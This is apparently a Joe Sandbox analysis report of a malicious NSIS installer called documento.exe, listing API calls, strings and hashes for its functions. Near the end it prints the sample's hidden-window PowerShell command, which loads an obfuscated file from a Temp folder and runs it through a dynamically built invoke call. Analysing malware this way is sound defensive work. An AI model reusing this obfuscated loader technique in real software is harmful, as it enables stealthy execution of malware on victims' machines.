CreatePopupMenu.USER32 ref: 004052DE
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004052F3
GetWindowRect.USER32(?,000000FF), ref: 00405313
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040532C
SendMessageA.USER32 ref: 00405368
OpenClipboard.USER32(00000000), ref: 00405378
EmptyClipboard.USER32 ref: 0040537E
GlobalAlloc.KERNEL32(00000042,?), ref: 00405387
GlobalLock.KERNEL32 ref: 00405391
SendMessageA.USER32 ref: 004053A5
GlobalUnlock.KERNEL32(00000000), ref: 004053BE
SetClipboardData.USER32 ref: 004053C9
CloseClipboard.USER32 ref: 004053CF

Strings

Fortrstningsfuldere7 Setup: Completed, xrefs: 00405344

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Fortrstningsfuldere7 Setup: Completed
API String ID: 590372296-854558490
Opcode ID: b2626d3fca1dea91d854c7e2fddc9d1fbf62c242f562a8688a47c95b42d676ee
Instruction ID: a6ff68720be7f0e5d6bf60450920f0594ccff0b83ae89a6b9846e031650dbd60
Opcode Fuzzy Hash: b2626d3fca1dea91d854c7e2fddc9d1fbf62c242f562a8688a47c95b42d676ee
Instruction Fuzzy Hash: 31A16B71900209BFDB119FA0DD89AAE7B79FB08354F10407AFA01B62A0C7B55E419F69

Uniqueness

Uniqueness Score: -1.00%

Function 00405D1F Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,rghtten,00000000,00404F4E,rghtten,00000000), ref: 00405DD0
GetSystemDirectoryA.KERNEL32(: Completed,00000400), ref: 00405E4B
GetWindowsDirectoryA.KERNEL32(: Completed,00000400), ref: 00405E5E
SHGetSpecialFolderLocation.SHELL32(?,0040E8D8), ref: 00405E9A
SHGetPathFromIDListA.SHELL32(0040E8D8,: Completed), ref: 00405EA8
CoTaskMemFree.OLE32(0040E8D8), ref: 00405EB3
lstrcatA.KERNEL32(: Completed,\Microsoft\Internet Explorer\Quick Launch), ref: 00405ED5
lstrlenA.KERNEL32(: Completed,?,rghtten,00000000,00404F4E,rghtten,00000000), ref: 00405F27

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E1A
.1, xrefs: 00405D2C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405ECF
rghtten, xrefs: 00405D4E
: Completed, xrefs: 00405D46, 00405E18, 00405E35, 00405E4A, 00405E5D, 00405E79, 00405EA4, 00405ED4, 00405EDA, 00405EF2, 00405F05, 00405F20, 00405F26, 00405F31, 00405F5B

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: : Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$rghtten$.1
API String ID: 900638850-1738432572
Opcode ID: 76471c8d00273be914602d8a65b1299599c04e7f86aa9f6c9fc5dbb2c8e8775a
Instruction ID: 0882c4b3dedd804cc86cf07441b0505b0d3b9fa6fe4ef2b0f086a7f01eec187c
Opcode Fuzzy Hash: 76471c8d00273be914602d8a65b1299599c04e7f86aa9f6c9fc5dbb2c8e8775a
Instruction Fuzzy Hash: D261F171A04A02ABDF209F24CC8877B3BA4EB55315F14813BE941BA2D0D27D4A42DF9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040205E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(004073C0,?,00000001,004073B0,?), ref: 004020DD
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,004073B0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189

Strings

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare, xrefs: 0040211D

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare
API String ID: 123533781-123516722
Opcode ID: bf6f2535c41a6e67d7fac3ee4004d5a7f515cf8657961e27ca6d10824b23052d
Instruction ID: 73ba7e37247343007321aa60fc7c63e2173afb66a68b14033088ab5266f46407
Opcode Fuzzy Hash: bf6f2535c41a6e67d7fac3ee4004d5a7f515cf8657961e27ca6d10824b23052d
Instruction Fuzzy Hash: 22513A75A00208BFDF10DFA4C988A9D7BB5FF48318F20416AF915EB2D1DB799941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406344 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df052f8500bc354d4a21ff453bca24a979c322da877604b446898ac79d7ea655
Instruction ID: 747aed367833ce7965c7456030a986fa8c308b51e1337f5c25afca0a07e996cc
Opcode Fuzzy Hash: df052f8500bc354d4a21ff453bca24a979c322da877604b446898ac79d7ea655
Instruction Fuzzy Hash: 35F17670D00229CBCF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406001 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,00421570,00421128,004058A0,00421128,00421128,00000000,00421128,00421128,T'qu,?,C:\Users\user\AppData\Local\Temp\,004055BF,?,75712754,C:\Users\user\AppData\Local\Temp\), ref: 0040600C
FindClose.KERNEL32(00000000), ref: 00406018

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 84c008b5a35429018b57d61e4d5c1136775b4467134940db04eeaa1c515e45d8
Instruction ID: d1357e632777a99f3a46a744368fc942f06971bdd1fac7e5a473789d9e822290
Opcode Fuzzy Hash: 84c008b5a35429018b57d61e4d5c1136775b4467134940db04eeaa1c515e45d8
Instruction Fuzzy Hash: 22D012319481206BC3105B78AC0C85B7E98AF5A3303618A72F226F12F4D7349C6286AD

Uniqueness

Uniqueness Score: -1.00%

Function 00402688 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 00402697

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: daa7385dd321edffd10cd58f8f6238ddd97ab2dfbe1096a6fb68558d51fc429f
Instruction ID: e04ffd14ad056a7bc966bca46badc1a9d7fcc05075aa2412e3ac1a9cf71dfd33
Opcode Fuzzy Hash: daa7385dd321edffd10cd58f8f6238ddd97ab2dfbe1096a6fb68558d51fc429f
Instruction Fuzzy Hash: 6BF0A772508100AFE701EBB499499EE7778DB61314F60457BE241E21C1D7B849859B3A

Uniqueness

Uniqueness Score: -1.00%

Function 00403A0F Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A4B
ShowWindow.USER32(?), ref: 00403A68
DestroyWindow.USER32 ref: 00403A7C
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A98
GetDlgItem.USER32(?,?), ref: 00403AB9
SendMessageA.USER32 ref: 00403ACD
IsWindowEnabled.USER32(00000000), ref: 00403AD4
GetDlgItem.USER32(?,00000001), ref: 00403B82
GetDlgItem.USER32(?,00000002), ref: 00403B8C
SetClassLongA.USER32(?,000000F2,?), ref: 00403BA6
SendMessageA.USER32 ref: 00403BF7
GetDlgItem.USER32(?,00000003), ref: 00403C9D
ShowWindow.USER32(00000000,?), ref: 00403CBE
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403CD0
EnableWindow.USER32(?,?), ref: 00403CEB
GetSystemMenu.USER32 ref: 00403D01
EnableMenuItem.USER32 ref: 00403D08
SendMessageA.USER32 ref: 00403D20
SendMessageA.USER32 ref: 00403D33
lstrlenA.KERNEL32(Fortrstningsfuldere7 Setup: Completed,?,Fortrstningsfuldere7 Setup: Completed,00422F20), ref: 00403D5C
SetWindowTextA.USER32(?,Fortrstningsfuldere7 Setup: Completed), ref: 00403D6B
ShowWindow.USER32(?,0000000A), ref: 00403E9F

Strings

Fortrstningsfuldere7 Setup: Completed, xrefs: 00403D48, 00403D52, 00403D5B, 00403D69

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Fortrstningsfuldere7 Setup: Completed
API String ID: 3282139019-854558490
Opcode ID: e65e75c514bf03efa5ce6d2994b341edb8337756b2853bfd874a528499e69a5c
Instruction ID: 59f0c632d138382d557344a1f3b7ccf8545d810693bdce96ba14c4126dbc1e18
Opcode Fuzzy Hash: e65e75c514bf03efa5ce6d2994b341edb8337756b2853bfd874a528499e69a5c
Instruction Fuzzy Hash: 24C1E171A04205BBDB21AF21ED84E2B3E7CFB44706B50453EF611B11E1C779A942AB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040367D Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406092: GetModuleHandleA.KERNEL32(?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060A4
Part of subcall function 00406092: GetProcAddress.KERNEL32(00000000,?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060BF

lstrcatA.KERNEL32(1033,Fortrstningsfuldere7 Setup: Completed,80000001,Control Panel\Desktop\ResourceLocale,00000000,Fortrstningsfuldere7 Setup: Completed,00000000,00000002,75712754,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\documento.exe",00000000), ref: 004036F8
lstrlenA.KERNEL32(: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Local\Temp\Deinotherium,1033,Fortrstningsfuldere7 Setup: Completed,80000001,Control Panel\Desktop\ResourceLocale,00000000,Fortrstningsfuldere7 Setup: Completed,00000000,00000002,75712754), ref: 0040376D
lstrcmpiA.KERNEL32(?,.exe,: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Local\Temp\Deinotherium,1033,Fortrstningsfuldere7 Setup: Completed,80000001,Control Panel\Desktop\ResourceLocale,00000000,Fortrstningsfuldere7 Setup: Completed,00000000), ref: 00403780
GetFileAttributesA.KERNEL32(: Completed), ref: 0040378B
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\Deinotherium), ref: 004037D4

Part of subcall function 00405C5B: wsprintfA.USER32 ref: 00405C68

RegisterClassA.USER32(00422EC0), ref: 00403811
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403829
CreateWindowExA.USER32 ref: 0040385E
ShowWindow.USER32(00000005,00000000), ref: 00403894
GetClassInfoA.USER32(00000000,RichEdit20A,00422EC0), ref: 004038C0
GetClassInfoA.USER32(00000000,RichEdit,00422EC0), ref: 004038CD
RegisterClassA.USER32(00422EC0), ref: 004038D6
DialogBoxParamA.USER32 ref: 004038F5

Strings

Fortrstningsfuldere7 Setup: Completed, xrefs: 004036A9, 004036AF, 004036D4, 004036DD, 004036F2
RichEdit20A, xrefs: 004038B8, 004038BE
_Nb, xrefs: 004037F0, 00403858
.DEFAULT\Control Panel\International, xrefs: 004036E3
RichEdit, xrefs: 004038C7
: Completed, xrefs: 0040373B, 00403743, 00403750, 0040379A, 004037A0
Control Panel\Desktop\ResourceLocale, xrefs: 004036B1
1033, xrefs: 0040369D, 004036F3
RichEd32, xrefs: 004038A8
"C:\Users\user\Desktop\documento.exe", xrefs: 00403681
.exe, xrefs: 0040377A
RichEd20, xrefs: 0040389A
C:\Users\user\AppData\Local\Temp\Deinotherium, xrefs: 00403707, 0040370F, 004037A7, 004037AD, 004037BD
C:\Users\user\AppData\Local\Temp\, xrefs: 00403682

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\documento.exe"$.DEFAULT\Control Panel\International$.exe$1033$: Completed$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Deinotherium$Control Panel\Desktop\ResourceLocale$Fortrstningsfuldere7 Setup: Completed$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-1842564011
Opcode ID: e5e732fa2ac6b6f30794d687317306249c7fdf90a4e561a867839475ad421bc5
Instruction ID: 7b7c40b23c28382cce88422b139422c0b39d4688b8d1f116fbeb90bdc2aa80af
Opcode Fuzzy Hash: e5e732fa2ac6b6f30794d687317306249c7fdf90a4e561a867839475ad421bc5
Instruction Fuzzy Hash: E161C7B46442007ED620BF61AD45F273AACEB4474AF40847FF945B22E1C77CAD069A3E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C66 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32(75712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00402C77
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\documento.exe,00000400), ref: 00402C93

Part of subcall function 00405970: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\documento.exe,80000000,00000003), ref: 00405974
Part of subcall function 00405970: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405996

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\documento.exe,C:\Users\user\Desktop\documento.exe,80000000,00000003), ref: 00402CDF

Strings

Error launching installer, xrefs: 00402CB6
"C:\Users\user\Desktop\documento.exe", xrefs: 00402C66
Null, xrefs: 00402D5D
soft, xrefs: 00402D54
Inst, xrefs: 00402D4B
C:\Users\user\Desktop\documento.exe, xrefs: 00402C7D, 00402C8C, 00402CA0, 00402CC0
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C6D
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
hA, xrefs: 00402CF4
C:\Users\user\Desktop, xrefs: 00402CC1, 00402CC6, 00402CCC

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378765928.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.378776216.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.380821342.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_documento.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\documento.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\documento.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft$hA
API String ID: 4283519449-1010622071
Opcode ID: 152ac9b7a1b1dc19f9c0e8349d0464e237808c5fe7e9e051921f38e6572f43da
Instruction ID: 8c4c774c716df1ba4ed4283b0a2f2a309b4ff87d1887d614af3d34fab0b2b326
Opcode Fuzzy Hash: 152ac9b7a1b1dc19f9c0e8349d0464e237808c5fe7e9e051921f38e6572f43da
Instruction Fuzzy Hash: 5A51B3B1A41214ABDF209F65DE89B9E7AB8EF00355F10403BF904B62D1C7BC9D418BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401751 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,"powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)",C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,"powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)","powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)",00000000,00000000,"powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)",C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405CFD: lstrcpynA.KERNEL32(?,?,00000400,0040318B,00422F20,NSIS Error), ref: 00405D0A

Part of subcall function 00404F16: lstrlenA.KERNEL32(rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
Part of subcall function 00404F16: lstrlenA.KERNEL32(00402FCF,rghtten,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
Part of subcall function 00404F16: lstrcatA.KERNEL32(rghtten,00402FCF,00402FCF,rghtten,00000000,0040E8D8,00000000), ref: 00404F72
Part of subcall function 00404F16: SetWindowTextA.USER32(rghtten,rghtten), ref: 00404F84
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FAA
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FC4
Part of subcall function 00404F16: SendMessageA.USER32 ref: 00404FD2

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\dompappens\gymnasiast.Lan, xrefs: 0040181E, 0040183A
"powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", xrefs: 0040176D, 00401776, 00401783, 00401795, 004017A6, 004017DC, 004017F2, 00401810, 00401850, 004018D1, 004018DA, 004018E4, 004018EF
C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare, xrefs: 0040177E

Memory Dump Source

Source File: 00000000.00000002.378755948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.378751171.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
